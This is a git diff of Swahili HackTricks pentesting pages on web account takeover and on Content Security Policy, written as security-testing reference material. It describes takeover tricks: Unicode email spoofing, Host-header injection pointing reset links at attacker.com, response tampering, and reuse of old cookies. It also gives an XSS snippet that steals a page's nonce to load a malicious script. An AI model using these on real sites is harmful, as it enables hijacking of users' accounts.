* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
|
|
|
@ -2,45 +2,54 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
## **Tatizo la Uthibitisho**
|
||||
|
||||
Barua pepe ya akaunti inapaswa kujaribiwa kubadilishwa, na mchakato wa uthibitisho **unapaswa kuchunguzwa**. Ikiwa itagundulika kuwa **dhaifu**, barua pepe inapaswa kubadilishwa kuwa ile ya muhanga anayetarajiwa kisha kuthibitishwa.
|
||||
Barua pepe ya akaunti inapaswa kujaribiwa kubadilishwa, na mchakato wa uthibitisho **unapaswa kuchunguzwa**. Ikiwa itagundulika kuwa **dhaifu**, barua pepe inapaswa kubadilishwa kuwa ya muhanga anayetarajiwa kisha kuthibitishwa.
|
||||
|
||||
## **Tatizo la Ufananuzi wa Unicode**
|
||||
## **Tatizo la Urambazaji wa Unicode**
|
||||
|
||||
1. Akaunti ya muhanga anayetarajiwa `victim@gmail.com`
|
||||
1. Akaunti ya muhanga inapaswa kuwa `victim@gmail.com`
|
||||
2. Akaunti inapaswa kuundwa kwa kutumia Unicode\
|
||||
kwa mfano: `vićtim@gmail.com`
|
||||
|
||||
Kwa maelezo zaidi, tazama hati kuhusu Ufananuzi wa Unicode:
|
||||
Kama ilivyoelezwa katika [**mhadhara huu**](https://www.youtube.com/watch?v=CiIyaZ3x49c), shambulio lililopita pia linaweza kufanywa kwa kudhuru watoa huduma wa utambulisho wa tatu:
|
||||
|
||||
* Unda akaunti kwenye tovuti ya tatu ya utambulisho na barua pepe kama ile ya muhanga kwa kutumia herufi za Unicode (`vićtim@company.com`).
|
||||
* Mtoa huduma wa tatu asithibitishe barua pepe
|
||||
* Ikiwa mtoa huduma wa utambulisho anathibitisha barua pepe, labda unaweza kushambulia sehemu ya kikoa kama vile: `victim@ćompany.com` na kusajili kikoa hicho na matumaini kwamba mtoa huduma wa utambulisho atazalisha toleo la ascii la jina la kikoa wakati jukwaa la muhanga linanormalisha jina la kikoa.
|
||||
* Ingia kupitia mtoa huduma huyu wa utambulisho kwenye jukwaa la muhanga ambalo linapaswa kusawazisha herufi za Unicode na kuruhusu ufikie akaunti ya muhanga.
|
||||
|
||||
Kwa maelezo zaidi, tazama hati kuhusu Urambazaji wa Unicode:
|
||||
|
||||
{% content-ref url="unicode-injection/unicode-normalization.md" %}
|
||||
[unicode-normalization.md](unicode-injection/unicode-normalization.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## **Kutumia Upya Kiungo cha Kurejesha**
|
||||
|
||||
Ikiwa mfumo wa lengo unaruhusu **kiungo cha kurejesha kutumika tena**, juhudi zinapaswa kufanywa kutafuta **viungo vingine vya kurejesha** kwa kutumia zana kama vile `gau`, `wayback`, au `scan.io`.
|
||||
Ikiwa mfumo wa lengo unaruhusu **kiungo cha kurejesha kutumika tena**, jitihada zinapaswa kufanywa kutafuta **viungo vingine vya kurejesha** kwa kutumia zana kama `gau`, `wayback`, au `scan.io`.
|
||||
|
||||
## **Kabla ya Kuchukua Udhibiti wa Akaunti**
|
||||
|
||||
1. Barua pepe ya muhanga inapaswa kutumika kujiandikisha kwenye jukwaa, na nenosiri linapaswa kuwekwa (jaribio la kuthibitisha linapaswa kufanywa, ingawa kukosa ufikiaji wa barua pepe za muhanga kunaweza kufanya hili kuwa gumu).
|
||||
2. Mtu anapaswa kusubiri hadi muhanga ajisajili kwa kutumia OAuth na kuthibitisha akaunti.
|
||||
3. Inatumainiwa kwamba usajili wa kawaida utathibitishwa, kuruhusu ufikiaji wa akaunti ya muhanga.
|
||||
1. Barua pepe ya muhanga inapaswa kutumika kusajili kwenye jukwaa, na nenosiri linapaswa kuwekwa (jaribio la kuthibitisha linapaswa kufanywa, ingawa kukosa ufikiaji wa barua pepe za muhanga kunaweza kufanya hili kuwa haiwezekani).
|
||||
2. Mtu anapaswa kusubiri hadi muhanga asajiliwe kwa kutumia OAuth na kuthibitisha akaunti.
|
||||
3. Kuna matumaini kwamba usajili wa kawaida utathibitishwa, kuruhusu ufikiaji wa akaunti ya muhanga.
|
||||
|
||||
## **Kosa la Mipangilio ya CORS kwa Kuchukua Udhibiti wa Akaunti**
|
||||
## **Kosa la Urambazaji wa CORS kwa Kuchukua Udhibiti wa Akaunti**
|
||||
|
||||
Ikiwa ukurasa una **makosa ya mipangilio ya CORS** unaweza kuwa na uwezo wa **kuiba habari nyeti** kutoka kwa mtumiaji ili **kuchukua udhibiti wa akaunti yake** au kumfanya abadilishe habari ya uthibitisho kwa lengo hilo:
|
||||
Ikiwa ukurasa una **makosa ya urambazaji wa CORS** unaweza kuwa na uwezo wa **kuiba habari nyeti** kutoka kwa mtumiaji ili **kuchukua udhibiti wa akaunti yake** au kumfanya abadilishe habari ya uthibitisho kwa lengo hilo:
|
||||
|
||||
{% content-ref url="cors-bypass.md" %}
|
||||
[cors-bypass.md](cors-bypass.md)
|
||||
|
@ -56,7 +65,7 @@ Ikiwa ukurasa una kasoro ya CSRF unaweza kuweza kufanya mtumiaji **abadilishe ne
|
|||
|
||||
## **XSS kwa Kuchukua Udhibiti wa Akaunti**
|
||||
|
||||
Ikiwa unapata XSS kwenye programu unaweza kuweza kuiba vidakuzi, uhifadhi wa ndani, au habari kutoka kwenye ukurasa wa wavuti ambayo inaweza kuruhusu kuchukua udhibiti wa akaunti:
|
||||
Ikiwa unapata XSS kwenye programu unaweza kuiba vidakuzi, uhifadhi wa ndani, au habari kutoka kwa ukurasa wa wavuti ambayo inaweza kuruhusu kuchukua udhibiti wa akaunti:
|
||||
|
||||
{% content-ref url="xss-cross-site-scripting/" %}
|
||||
[xss-cross-site-scripting](xss-cross-site-scripting/)
|
||||
|
@ -64,7 +73,7 @@ Ikiwa unapata XSS kwenye programu unaweza kuweza kuiba vidakuzi, uhifadhi wa nda
|
|||
|
||||
## **Asili Sawa + Vidakuzi**
|
||||
|
||||
Ikiwa unapata XSS iliyozuiwa au unachukua jina la subdomain, unaweza kucheza na vidakuzi (kuvifunga kwa mfano) kujaribu kudhoofisha akaunti ya muhanga:
|
||||
Ikiwa unapata XSS iliyozuiliwa au kuchukua udhibiti wa subdomain, unaweza kucheza na vidakuzi (kufanya yao kubaki kwa mfano) kujaribu kuhatarisha akaunti ya muhanga:
|
||||
|
||||
{% content-ref url="hacking-with-cookies/" %}
|
||||
[hacking-with-cookies](hacking-with-cookies/)
|
||||
|
@ -76,7 +85,7 @@ Ikiwa unapata XSS iliyozuiwa au unachukua jina la subdomain, unaweza kucheza na
|
|||
[reset-password.md](reset-password.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## **Udanganyifu wa Majibu**
|
||||
## **Ubadilishaji wa Majibu**
|
||||
|
||||
Ikiwa jibu la uthibitisho linaweza **kupunguzwa kuwa boolean rahisi jaribu kubadilisha uwongo kuwa kweli** na uone ikiwa unapata ufikiaji wowote.
|
||||
|
||||
|
@ -89,18 +98,18 @@ Ikiwa jibu la uthibitisho linaweza **kupunguzwa kuwa boolean rahisi jaribu kubad
|
|||
## Uingizaji wa Kichwa cha Mwenyeji
|
||||
|
||||
1. Kichwa cha Mwenyeji kinabadilishwa baada ya kuanzisha ombi la kurejesha nenosiri.
|
||||
2. Kichwa cha mbele cha proksi `X-Forwarded-For` kinabadilishwa kuwa `attacker.com`.
|
||||
3. Kichwa cha Mwenyeji, Kielekezi, na Asili vinabadilishwa wakati mmoja kuwa `attacker.com`.
|
||||
2. Kichwa cha mbadala cha `X-Forwarded-For` kinabadilishwa kuwa `attacker.com`.
|
||||
3. Kichwa cha Mwenyeji, Kumbukumbu, na Asili vinabadilishwa wakati mmoja kuwa `attacker.com`.
|
||||
4. Baada ya kuanzisha ombi la kurejesha nenosiri na kisha kuchagua kutuma tena barua pepe, njia zote tatu zilizotajwa hapo juu zinatumika.
|
||||
|
||||
## Udanganyifu wa Majibu
|
||||
## Ubadilishaji wa Majibu
|
||||
|
||||
1. **Ubadilishaji wa Nambari**: Nambari ya hali inabadilishwa kuwa `200 OK`.
|
||||
2. **Ubadilishaji wa Nambari na Mwili**:
|
||||
* Nambari ya hali inabadilishwa kuwa `200 OK`.
|
||||
* Mwili wa jibu unabadilishwa kuwa `{"mafanikio":kweli}` au kitu tupu `{}`.
|
||||
* Mwili wa jibu unabadilishwa kuwa `{"success":true}` au kitu tupu `{}`.
|
||||
|
||||
Mbinu hizi za udanganyifu ni muhimu katika hali ambapo JSON inatumika kwa usafirishaji na upokeaji wa data.
|
||||
Mbinu hizi za ubadilishaji ni muhimu katika hali ambapo JSON hutumiwa kwa uhamishaji na upokeaji wa data.
|
||||
|
||||
## Badilisha barua pepe ya kikao cha sasa
|
||||
|
||||
|
@ -114,6 +123,11 @@ Kutoka [ripoti hii](https://dynnyd20.medium.com/one-click-account-take-over-e500
|
|||
|
||||
Hii pia ilitokea katika [**ripoti hii**](https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea).
|
||||
|
||||
### Vidakuzi Vya Zamani
|
||||
|
||||
Kama ilivyoelezwa [**katika chapisho hili**](https://medium.com/@niraj1mahajan/uncovering-the-hidden-vulnerability-how-i-found-an-authentication-bypass-on-shopifys-exchange-cc2729ea31a9), ilikuwa inawezekana kuingia kwenye akaunti, kuokoa vidakuzi kama mtumiaji aliyethibitishwa, kutoka, kisha kuingia tena.\
|
||||
Na kuingia kwa mara ya pili, ingawa vidakuzi tofauti vinaweza kuzalishwa vidakuzi vya zamani vikaanza kufanya kazi tena.
|
||||
|
||||
## Marejeo
|
||||
|
||||
* [https://infosecwriteups.com/firing-8-account-takeover-methods-77e892099050](https://infosecwriteups.com/firing-8-account-takeover-methods-77e892099050)
|
||||
|
@ -121,14 +135,13 @@ Hii pia ilitokea katika [**ripoti hii**](https://dynnyd20.medium.com/one-click-a
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
</details>
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
|
@ -10,30 +10,30 @@ Njia nyingine za kusaidia HackTricks:
|
|||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa tuzo za mdudu!
|
||||
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa zawadi za bug!
|
||||
|
||||
**Machapisho ya Kudukua**\
|
||||
Shiriki na yaliyomo yanayochimba katika msisimko na changamoto za kudukua
|
||||
**Machapisho ya Udukuzi**\
|
||||
Shiriki na yaliyomo yanayochimba kina cha msisimko na changamoto za udukuzi
|
||||
|
||||
**Taarifa za Kudukua za Muda Halisi**\
|
||||
Kaa sasa na ulimwengu wa kudukua wenye kasi kupitia habari na ufahamu wa muda halisi
|
||||
**Habari za Udukuzi za Wakati Halisi**\
|
||||
Kaa up-to-date na ulimwengu wa udukuzi wenye kasi kupitia habari za wakati halisi na ufahamu
|
||||
|
||||
**Matangazo Mapya**\
|
||||
Baki mwelekezwa na tuzo mpya za mdudu zinazoanzishwa na sasisho muhimu za jukwaa
|
||||
**Matangazo ya Karibuni**\
|
||||
Baki mwelewa na zawadi mpya za bug zinazoanzishwa na sasisho muhimu za jukwaa
|
||||
|
||||
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na wadukuzi bora leo!
|
||||
|
||||
## Ni Nini CSP
|
||||
## Ni nini CSP
|
||||
|
||||
Kizuizi cha Usalama wa Yaliyomo (CSP) kinatambuliwa kama teknolojia ya kivinjari, iliyolenga hasa **kulinda dhidi ya mashambulizi kama vile udukuzi wa tovuti nyingine (XSS)**. Kinafanya kazi kwa kufafanua na kuelezea njia na vyanzo ambavyo rasilimali zinaweza kupakiwa kwa usalama na kivinjari. Rasilimali hizi ni pamoja na mambo kama picha, fremu, na JavaScript. Kwa mfano, sera inaweza kuruhusu kupakia na kutekeleza rasilimali kutoka kwa kikoa kile kile (self), ikiwa ni pamoja na rasilimali za ndani na utekelezaji wa nambari ya mstari kupitia kazi kama vile `eval`, `setTimeout`, au `setInterval`.
|
||||
Kizuizi cha Usalama wa Yaliyomo (CSP) kinatambuliwa kama teknolojia ya kivinjari, iliyolenga hasa **kulinda dhidi ya mashambulizi kama vile udukuzi wa tovuti nyingine (XSS)**. Kinafanya kazi kwa kufafanua na kuelezea njia na vyanzo ambavyo rasilimali zinaweza kupakiwa kwa usalama na kivinjari. Rasilimali hizi ni pamoja na mambo mbalimbali kama picha, fremu, na JavaScript. Kwa mfano, sera inaweza kuruhusu kupakia na kutekeleza rasilimali kutoka kwa kikoa kile kile (self), ikiwa ni pamoja na rasilimali za ndani na utekelezaji wa nambari ya mstari kupitia kazi kama vile `eval`, `setTimeout`, au `setInterval`.
|
||||
|
||||
Utekelezaji wa CSP unafanywa kupitia **vichwa vya majibu** au kwa kuingiza **vipengele vya meta kwenye ukurasa wa HTML**. Kufuatia sera hii, vivinjari hutekeleza masharti haya kwa ufanisi na kuzuia mara moja uvunjaji wowote uliogunduliwa.
|
||||
Utekelezaji wa CSP unafanywa kupitia **vichwa vya majibu** au kwa kuingiza **vipengele vya meta kwenye ukurasa wa HTML**. Kufuatia sera hii, vivinjari hutekeleza masharti haya kwa ufanisi na mara moja kuzuia uvunjaji wowote uliogunduliwa.
|
||||
|
||||
* Imetekelezwa kupitia kichwa cha majibu:
|
||||
```
|
||||
|
@ -48,11 +48,11 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
|
|||
CSP inaweza kutekelezwa au kufuatiliwa kwa kutumia vichwa hivi:
|
||||
|
||||
* `Content-Security-Policy`: Inatekeleza CSP; kivinjari kinazuia uvunjaji wowote.
|
||||
* `Content-Security-Policy-Report-Only`: Hutumika kwa ufuatiliaji; hutoa ripoti za uvunjaji bila kuzuia. Ni bora kwa ajili ya majaribio katika mazingira ya awali ya uzalishaji.
|
||||
* `Content-Security-Policy-Report-Only`: Hutumika kwa ufuatiliaji; hutoa ripoti za uvunjaji bila kuzuia. Ni bora kwa ajili ya majaribio katika mazingira ya awali kabla ya uzalishaji.
|
||||
|
||||
### Kutambua Rasilmali
|
||||
|
||||
CSP inazuia asili za kupakia yaliyomo ya moja kwa moja na ya kimya, ikidhibiti mambo kama utekelezaji wa JavaScript ya moja kwa moja na matumizi ya `eval()`. Sera ya mfano ni:
|
||||
CSP inazuia asili za kupakia yaliyomo ya moja kwa moja na ya kujitegemea, ikidhibiti mambo kama utekelezaji wa JavaScript ya moja kwa moja na matumizi ya `eval()`. Sera ya mfano ni:
|
||||
```bash
|
||||
default-src 'none';
|
||||
img-src 'self';
|
||||
|
@ -66,38 +66,38 @@ object-src 'none';
|
|||
```
|
||||
### Maelekezo
|
||||
|
||||
* **script-src**: Inaruhusu vyanzo maalum vya JavaScript, ikiwa ni pamoja na URLs, script za ndani, na scripts zinazosababishwa na wakala wa tukio au XSLT stylesheets.
|
||||
* **default-src**: Inaweka sera ya msingi kwa kupata rasilimali wakati maelekezo maalum ya kupakua hayapo.
|
||||
* **child-src**: Inabainisha rasilimali zinazoruhusiwa kwa wafanyakazi wa wavuti na maudhui ya fremu zilizojumuishwa.
|
||||
* **connect-src**: Inazuia URLs ambazo zinaweza kupakia kutumia interfaces kama vile fetch, WebSocket, XMLHttpRequest.
|
||||
* **frame-src**: Inazuia URLs kwa fremu.
|
||||
* **frame-ancestors**: Inabainisha ni vyanzo vipi vinaweza kujumuisha ukurasa wa sasa, inayotumika kwa vipengele kama `<frame>`, `<iframe>`, `<object>`, `<embed>`, na `<applet>`.
|
||||
* **img-src**: Inadefinisha vyanzo vilivyoidhinishwa kwa ajili ya picha.
|
||||
* **font-src**: Inabainisha vyanzo halali kwa fonts zilizopakiwa kwa kutumia `@font-face`.
|
||||
* **manifest-src**: Inadefinisha vyanzo vilivyoidhinishwa vya faili za maandishi ya maombi.
|
||||
* **media-src**: Inadefinisha vyanzo vilivyoidhinishwa kwa ajili ya kupakia vitu vya media.
|
||||
* **object-src**: Inadefinisha vyanzo vilivyoidhinishwa kwa vipengele vya `<object>`, `<embed>`, na `<applet>`.
|
||||
* **base-uri**: Inabainisha URLs zilizoruhusiwa kwa kupakia kwa kutumia vipengele vya `<base>`.
|
||||
* **form-action**: Inaorodhesha vituo halali kwa ajili ya maombi ya fomu.
|
||||
* **script-src**: Inaruhusu vyanzo maalum vya JavaScript, ikiwa ni pamoja na URL, script za ndani, na script zinazosababishwa na wakala wa tukio au XSLT stylesheets.
|
||||
* **default-src**: Inaweka sera ya msingi kwa kupata rasilimali wakati maagizo maalum ya kupata hayapo.
|
||||
* **child-src**: Inabainisha rasilimali zilizoruhusiwa kwa wafanyakazi wa wavuti na yaliyomo kwenye fremu zilizojumuishwa.
|
||||
* **connect-src**: Inazuia URL ambazo zinaweza kupakia kutumia interfaces kama vile fetch, WebSocket, XMLHttpRequest.
|
||||
* **frame-src**: Inazuia URL kwa fremu.
|
||||
* **frame-ancestors**: Inabainisha ni vyanzo vipi vinaweza kujumuisha ukurasa wa sasa, inatumika kwa vipengele kama `<frame>`, `<iframe>`, `<object>`, `<embed>`, na `<applet>`.
|
||||
* **img-src**: Inafafanua vyanzo vilivyoidhinishwa kwa picha.
|
||||
* **font-src**: Inabainisha vyanzo halali kwa fonts zinazopakiwa kwa kutumia `@font-face`.
|
||||
* **manifest-src**: Inafafanua vyanzo vilivyoidhinishwa vya faili za maandishi ya maombi.
|
||||
* **media-src**: Inafafanua vyanzo vilivyoidhinishwa kwa kupakia vitu vya media.
|
||||
* **object-src**: Inafafanua vyanzo vilivyoidhinishwa kwa vipengele vya `<object>`, `<embed>`, na `<applet>`.
|
||||
* **base-uri**: Inabainisha URL zilizoruhusiwa kwa kupakia kutumia vipengele vya `<base>`.
|
||||
* **form-action**: Inaorodhesha vituo halali vya maombi ya fomu.
|
||||
* **plugin-types**: Inazuia aina za mime ambazo ukurasa unaweza kuita.
|
||||
* **upgrade-insecure-requests**: Inaagiza vivinjari kubadilisha URLs za HTTP kuwa HTTPS.
|
||||
* **upgrade-insecure-requests**: Inaagiza vivinjari kubadilisha URL za HTTP kuwa HTTPS.
|
||||
* **sandbox**: Inatumia vizuizi sawa na sifa ya sandbox ya `<iframe>`.
|
||||
* **report-to**: Inabainisha kikundi ambacho ripoti itatumwa kwake ikiwa sera itavunjwa.
|
||||
* **report-to**: Inabainisha kikundi ambacho ripoti itatumwa ikiwa sera itavunjwa.
|
||||
* **worker-src**: Inabainisha vyanzo halali kwa Worker, SharedWorker, au scripti za ServiceWorker.
|
||||
* **prefetch-src**: Inabainisha vyanzo halali kwa rasilimali zitakazopakuliwa au kuhifadhiwa mapema.
|
||||
* **navigate-to**: Inazuia URLs ambazo waraka unaweza kutembelea kwa njia yoyote (a, fomu, window.location, window.open, n.k.)
|
||||
* **navigate-to**: Inazuia URL ambazo hati inaweza kutembelea kwa njia yoyote (a, fomu, window.location, window.open, n.k.)
|
||||
|
||||
### Vyanzo
|
||||
|
||||
* `*`: Inaruhusu URLs zote isipokuwa zile zenye mipango ya `data:`, `blob:`, `filesystem:`.
|
||||
* `*`: Inaruhusu URL zote isipokuwa zile zenye mipango ya `data:`, `blob:`, `filesystem:`.
|
||||
* `'self'`: Inaruhusu kupakia kutoka kwa kikoa kile kile.
|
||||
* `'data'`: Inaruhusu rasilimali kupakiwa kupitia mpango wa data (k.m., picha zilizooanishwa kwa Base64).
|
||||
* `'none'`: Inazuia kupakia kutoka vyanzo vyovyote.
|
||||
* `'data'`: Inaruhusu rasilimali kupakiwa kupitia mpango wa data (k.m., picha zilizofungwa kwa Base64).
|
||||
* `'none'`: Inazuia kupakia kutoka kwa chanzo chochote.
|
||||
* `'unsafe-eval'`: Inaruhusu matumizi ya `eval()` na njia zinazofanana, sio kupendekezwa kwa sababu za usalama.
|
||||
* `'unsafe-hashes'`: Inawezesha wakala wa tukio wa ndani maalum.
|
||||
* `'unsafe-hashes'`: Inawezesha wakala wa matukio wa ndani maalum.
|
||||
* `'unsafe-inline'`: Inaruhusu matumizi ya rasilimali za ndani kama vile `<script>` au `<style>`, sio kupendekezwa kwa sababu za usalama.
|
||||
* `'nonce'`: Orodha nyeupe kwa ajili ya scripti za ndani maalum zikitumia nonce ya kriptografia (namba inayotumiwa mara moja).
|
||||
* Ikiwa una utekelezaji mdogo wa JS, ni rahisi kupata nonce iliyotumiwa kwenye ukurasa na `doc.defaultView.top.document.querySelector("[nonce]")` na kisha kutumia tena kuiweka scripti yenye nia mbaya (ikiwa strict-dynamic inatumika, chanzo chochote kilichoruhusiwa kinaweza kupakia vyanzo vipya hivyo hii haikuhitajiki), kama ifuatavyo:
|
||||
* `'nonce'`: Orodha nyeupe kwa scripti za ndani maalum zikitumia nonce ya kriptografia (namba inayotumiwa mara moja).
|
||||
* Ikiwa una utekelezaji mdogo wa JS, ni rahisi kupata nonce iliyotumiwa kwenye ukurasa na `doc.defaultView.top.document.querySelector("[nonce]")` na kisha kutumia tena kui pakia scripti yenye nia mbaya (ikiwa strict-dynamic inatumika, chanzo chochote kilichoruhusiwa kinaweza kupakia vyanzo vipya hivyo hii haikuhitajiki), kama ifuatavyo:
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -114,15 +114,15 @@ b.nonce=a.nonce; doc.body.appendChild(b)'>
|
|||
</details>
|
||||
|
||||
* `'sha256-<hash>'`: Weupe scripts na hash maalum ya sha256.
|
||||
* `'strict-dynamic'`: Inaruhusu kupakia scripts kutoka chanzo chochote ikiwa imewekwa kwenye orodha nyeupe kwa njia ya nonce au hash.
|
||||
* `'strict-dynamic'`: Inaruhusu kupakia scripts kutoka chanzo chochote ikiwa imewekwa kwenye orodha nyeupe kwa nonce au hash.
|
||||
* `'host'`: Inabainisha mwenyeji maalum, kama vile `example.com`.
|
||||
* `https:`: Inazuia URL kwa wale wanaotumia HTTPS.
|
||||
* `blob:`: Inaruhusu rasilimali kupakia kutoka kwenye URL za Blob (k.m., URL za Blob zilizoundwa kupitia JavaScript).
|
||||
* `filesystem:`: Inaruhusu rasilimali kupakia kutoka kwenye mfumo wa faili.
|
||||
* `'report-sample'`: Inajumuisha sampuli ya nambari inayokiuka katika ripoti ya ukiukaji (inayofaa kwa ajili ya kutatua hitilafu).
|
||||
* `'strict-origin'`: Kama 'self' lakini inahakikisha kiwango cha usalama wa itifaki ya vyanzo vinavyolingana na hati (vyanzo salama tu vinaweza kupakia rasilimali kutoka vyanzo salama).
|
||||
* `'strict-origin-when-cross-origin'`: Inatuma URL kamili wakati wa kufanya maombi ya asili lakini inatuma asili tu wakati ombi ni la msalaba-asili.
|
||||
* `'unsafe-allow-redirects'`: Inaruhusu rasilimali kupakia ambazo zitaelekeza mara moja kwenye rasilimali nyingine. Haipendekezwi kwani inadhoofisha usalama.
|
||||
* `blob:`: Inaruhusu rasilimali kupakia kutoka kwa URL za Blob (k.m., URL za Blob zilizoundwa kupitia JavaScript).
|
||||
* `filesystem:`: Inaruhusu rasilimali kupakia kutoka kwa mfumo wa faili.
|
||||
* `'report-sample'`: Inajumuisha sampuli ya nambari inayokiuka katika ripoti ya ukiukaji (inayofaa kwa kutatua hitilafu).
|
||||
